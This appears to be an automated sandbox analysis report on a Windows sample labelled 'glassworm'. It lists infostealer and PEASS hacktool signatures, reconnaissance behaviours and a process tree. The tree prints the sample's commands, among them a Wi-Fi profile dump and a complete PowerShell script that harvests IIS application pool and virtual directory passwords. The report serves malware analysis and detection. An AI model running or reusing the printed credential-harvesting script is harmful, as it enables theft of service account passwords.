Analysis

  • max time kernel
    149s
  • max time network
    147s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20260911-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20260911-enlocale:en-usos:windows10-2004-x64systemwindows
  • submitted
    11/11/2026, 19:06

General

  • Target
    2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe
  • Size 2.8MB
  • Sample261111-xsbmdsbe93
  • SHA256 1c0740c84a7ba4b905f973c33de14d26ec71d2ee4f66ccae58a3a94a82ce478b
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Family: PEASS, PEASS-ng, Peas

    PEASS is an open-source tool for privilege escalation.

  • Detects PEASS hacktool 1 IoCs
  • Custom signature
    Detects executables containing SQL queries to confidential data stores. Observed in infostealers 1 IoCs
  • Custom signature
    Detects executables containing URLs to raw contents of a Github gist 1 IoCs
  • Custom signature
    Detects executables referencing Windows vault credential objects. Observed in infostealers 1 IoCs
  • Custom signature
    Detects executables referencing many IR and analysis tools 1 IoCs
  • Custom signature
    Detects executables referencing many confidential data stores found in browsers, mail clients, crypt 1 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Checks whether UAC is enabled 1 TTPs 1 IoCs
  • Enumerates connected drives 3 TTPs 1 IoCs

    Attempts to read the root path of hard drives other than the default C: drive.

  • Network Share Discovery 1 TTPs

    Attempt to gather information on host network.

  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 3 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

  • Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

    The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 1 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

  • Checks processor information in registry 2 TTPs 2 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Suspicious behavior: EnumeratesProcesses 39 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe
    "C:\Users\Admin\AppData\Local\Temp\2026-11-10_d33d82a7a80a09643378203a50725c63_glassworm.exe"
    1⤵
    • Checks whether UAC is enabled
    • Enumerates connected drives
    • Reads the TCP/IP host and domain name from the registry
    • Checks processor information in registry
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:4852
    • C:\Windows\SYSTEM32\netsh.exe
      "netsh" wlan show profiles
      2⤵
      • Event Triggered Execution: Netsh Helper DLL
      • System Network Configuration Discovery: Wi-Fi Discovery
      PID:2260
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "powershell.exe" # Check if appcmd.exe exists if (Test-Path ('C:\Windows\system32\inetsrv\appcmd.exe')) { # Create data table to house results $DataTable = New-Object System.Data.DataTable # Create and name columns in the data table $Null = $DataTable.Columns.Add('user') $Null = $DataTable.Columns.Add('pass') $Null = $DataTable.Columns.Add('type') $Null = $DataTable.Columns.Add('vdir') $Null = $DataTable.Columns.Add('apppool') # Get list of application pools Invoke-Expression 'C:\Windows\system32\inetsrv\appcmd.exe list apppools /text:name' | ForEach-Object { # Get application pool name $PoolName = $_ # Get username $PoolUserCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list apppool ' + $PoolName + ' /text:processmodel.username' $PoolUser = Invoke-Expression $PoolUserCmd # Get password $PoolPasswordCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list apppool ' + $PoolName + ' /text:processmodel.password' $PoolPassword = Invoke-Expression $PoolPasswordCmd # Check if credentials exists if (($PoolPassword -ne '') -and ($PoolPassword -isnot [system.array])) { # Add credentials to database $Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName) } } # Get list of virtual directories Invoke-Expression 'C:\Windows\system32\inetsrv\appcmd.exe list vdir /text:vdir.name' | ForEach-Object { # Get Virtual Directory Name $VdirName = $_ # Get username $VdirUserCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list vdir ' + $VdirName + ' /text:userName' $VdirUser = Invoke-Expression $VdirUserCmd # Get password $VdirPasswordCmd = 'C:\Windows\system32\inetsrv\appcmd.exe list vdir ' + $VdirName + ' /text:password' $VdirPassword = Invoke-Expression $VdirPasswordCmd # Check if credentials exists if (($VdirPassword -ne '') -and ($VdirPassword -isnot [system.array])) { # Add credentials to database $Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA') } } # Check if any passwords were found if( $DataTable.rows.Count -gt 0 ) { # Display results in list view that can feed into the pipeline #$DataTable | Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique $DataTable | Select-Object user,pass,type,vdir,apppool } else { # Status user Write-host 'No application pool or virtual directory passwords were found.' } }
      2⤵
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      PID:2936

Network

        MITRE ATT&CK Enterprise v16

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        Downloads

        __PSScriptPolicyTest_qwviey10.z1w.ps1

        • Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qwviey10.z1w.ps1
        • Size 60B
        • SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
        • MD5 SHA1 SHA512 TLSH

        memory/2936-6-0x00000226F47C0000-0x00000226F47E2000-memory.dmp

        memory/4852-0-0x00000268318A0000-0x0000026831B78000-memory.dmp

        memory/4852-1-0x000002684C010000-0x000002684C020000-memory.dmp

        memory/4852-2-0x000002684BF90000-0x000002684BFDA000-memory.dmp

        memory/4852-3-0x000002684C010000-0x000002684C020000-memory.dmp

        memory/4852-4-0x000002684C010000-0x000002684C020000-memory.dmp

        memory/4852-5-0x000002684C010000-0x000002684C020000-memory.dmp

        memory/4852-16-0x000002684DE70000-0x000002684E032000-memory.dmp